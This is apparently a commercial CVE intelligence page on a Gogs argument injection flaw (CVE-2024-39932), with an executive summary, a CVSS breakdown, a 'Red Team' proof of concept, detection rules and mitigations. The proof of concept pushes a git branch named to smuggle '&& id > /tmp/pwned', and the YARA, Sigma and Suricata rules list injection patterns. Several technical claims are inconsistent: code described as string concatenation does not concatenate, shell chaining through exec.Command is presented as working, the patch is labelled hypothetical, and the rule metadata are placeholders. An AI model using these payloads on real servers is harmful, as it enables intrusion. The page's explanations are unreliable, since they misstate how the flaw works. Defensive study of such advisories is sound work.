☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Gogs logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 9.9 🐛 CWE-94
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-39932

CVE-2024-39932 Remote Code Execution in Gogs
📅 PUBLISHED: 2024-07-04 00:00 UTC 🔄 UPDATED: 2026-09-23 19:40 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 17.32%
👁️
17.32% probability
432.9× above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
Country: Global License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-39932 is a critical argument injection vulnerability in Gogs, a self-hosted Git service, affecting versions up to and including 0.13.0. The flaw resides in the previewing of changes functionality, where user-supplied input is not properly sanitized before being passed to a system command. An authenticated attacker with repository access can inject arbitrary arguments into the underlying command, leading to remote code execution (RCE) with the privileges of the Gogs process. The CVSS score of 9.9 reflects the ease of exploitation and the potential for complete compromise of confidentiality, integrity, and availability. No official patch has been released at the time of this analysis, making this a zero-day vulnerability in the wild.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Gogs is a Go-based application. The vulnerability is in the core application logic, not in a specific package dependency. However, the lack of a patch means that any organization using Gogs is at risk. The Go ecosystem does not have a built-in mechanism for automatic security updates like some package managers, so manual patching or mitigation is required.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
  • Privileges Required (PR): Low (L) - An attacker needs a valid user account with repository access.
  • User Interaction (UI): Required (R) - The victim must preview changes, but this can be automated.
  • Scope (S): Changed (C) - The vulnerable component impacts resources beyond its security scope.
  • Confidentiality (C): High (H) - Full system compromise is possible.
  • Integrity (I): High (H) - Attacker can modify any data.
  • Availability (A): High (H) - Attacker can cause denial of service.

Threat Level: Critical. The combination of low attack complexity, network exploitability, and high impact makes this a top priority for remediation.

Deep Dive & Mechanics

The vulnerability is located in the "preview changes" feature of Gogs. When a user previews changes (e.g., in a pull request or commit), the application constructs a command to generate a diff or preview. The user-controlled input (such as branch names, file paths, or commit hashes) is not properly sanitized before being concatenated into the command string.

For example, if the application uses a command like:

git diff <user_input>

An attacker can inject additional arguments by providing input such as:

--output=/tmp/evil -- && <malicious_command>

This allows the attacker to execute arbitrary commands on the server.

The core issue is the lack of input validation and the use of shell command execution without proper escaping. The application likely uses os/exec in Go without sanitizing arguments.

Vulnerable vs. Patched Code

Vulnerable Code (Gogs <= 0.13.0):

// Vulnerable: Direct string concatenation
cmd := exec.Command("git", "diff", userInput)

Patched Code (Hypothetical):

// Patched: Use argument array and sanitize
cmd := exec.Command("git", "diff", sanitizeInput(userInput))

Or better:

// Patched: Use a library to prevent injection
cmd := exec.Command("git", "diff", "--", userInput)

The -- separator tells Git to treat everything after as a path, preventing argument injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A Gogs instance (version <= 0.13.0)
  • A valid user account with repository access
  • Ability to create or modify files in a repository

Exploit Steps:

  1. Create a new repository or use an existing one.
  2. Create a file with a malicious branch name or commit message.
  3. Trigger the "preview changes" feature with the malicious input.

Example Payload:

branch_name=--output=/tmp/evil && id > /tmp/pwned

Proof of Concept (PoC):

# Create a repository and add a file
curl -X POST -u "user:pass" "http://target/gogs/api/v1/user/repos" -d '{"name":"test"}'
cd /tmp
git clone http://user:pass@target/user/test.git
cd test
echo "test" > file.txt
git add file.txt
git commit -m "test"
git push origin master

# Create a malicious branch
git branch '--output=/tmp/evil && id > /tmp/pwned'
git push origin '--output=/tmp/evil && id > /tmp/pwned'

# Trigger preview (this may require a pull request or direct API call)
# The exact endpoint may vary; check Gogs API documentation

Note: The exact exploitation method depends on the specific endpoint used for previewing changes. The above is a conceptual example.

Blue Team (Detection & Response)

Detection:

  • Monitor for unusual command-line arguments in Git commands.
  • Look for processes spawned by the Gogs user that contain suspicious arguments.
  • Audit logs for failed or unusual preview requests.

Response:

  1. Immediately isolate the affected Gogs server.
  2. Review logs for signs of exploitation.
  3. Reset all user credentials and API tokens.
  4. Apply network segmentation to limit Gogs access.
  5. Monitor for lateral movement.

Indicators of Compromise (IOCs)

File System IOCs:

  • /tmp/evil or similar files in world-writable directories
  • Unexpected files in the Gogs data directory
  • Modified Git hooks (e.g., pre-receive, post-receive)

Network IOCs:

  • Outbound connections from the Gogs server to unknown IPs
  • Unusual API requests to the preview endpoint
  • Large numbers of failed authentication attempts

Process IOCs:

  • Git processes with unusual arguments (e.g., --output, --exec-path)
  • Shell processes spawned by the Gogs user
  • Processes running as root or other privileged users

Detection Engineering

YARA Rule

rule CVE_2024_39932_Gogs_ArgInjection {
    meta:
        description = "Detects argument injection attempts in Gogs preview changes"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-39932"
    strings:
        $arg1 = "--output="
        $arg2 = "--exec-path="
        $arg3 = "--git-dir="
        $arg4 = "--work-tree="
        $arg5 = "&&"
        $arg6 = "|"
        $arg7 = ";"
    condition:
        any of ($arg*) and filesize < 10KB
}

Sigma Rule

title: Gogs Argument Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-39932 in Gogs logs
author: Valters IT
date: 2024/01/01
logsource:
    category: application
    product: gogs
detection:
    selection:
        - EventID: 1000  # Example event ID for preview
        - Message|contains:
            - '--output='
            - '--exec-path='
            - '--git-dir='
            - '--work-tree='
            - '&&'
            - '|'
            - ';'
    condition: selection
falsepositives:
    - Legitimate use of Git arguments (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-39932 Gogs Argument Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/v1/repos/"; http_uri; content:"preview"; http_uri; pcre:"/(--output=|--exec-path=|--git-dir=|--work-tree=|&&|\||;)/Ui"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigation:

  1. Disable the "preview changes" feature if possible.
  2. Implement a Web Application Firewall (WAF) rule to block suspicious arguments.
  3. Restrict network access to the Gogs server.
  4. Monitor logs for exploitation attempts.

Long-term Remediation:

  1. Apply the official patch when released.
  2. Upgrade to a patched version of Gogs.
  3. Implement input validation and sanitization for all user-supplied data.
  4. Use parameterized commands instead of string concatenation.
  5. Conduct a security audit of the entire application.

Workaround:

  • Modify the Gogs source code to add the -- separator before user input in Git commands.
  • Use a reverse proxy to filter malicious requests.

Valters IT - DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-39932/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.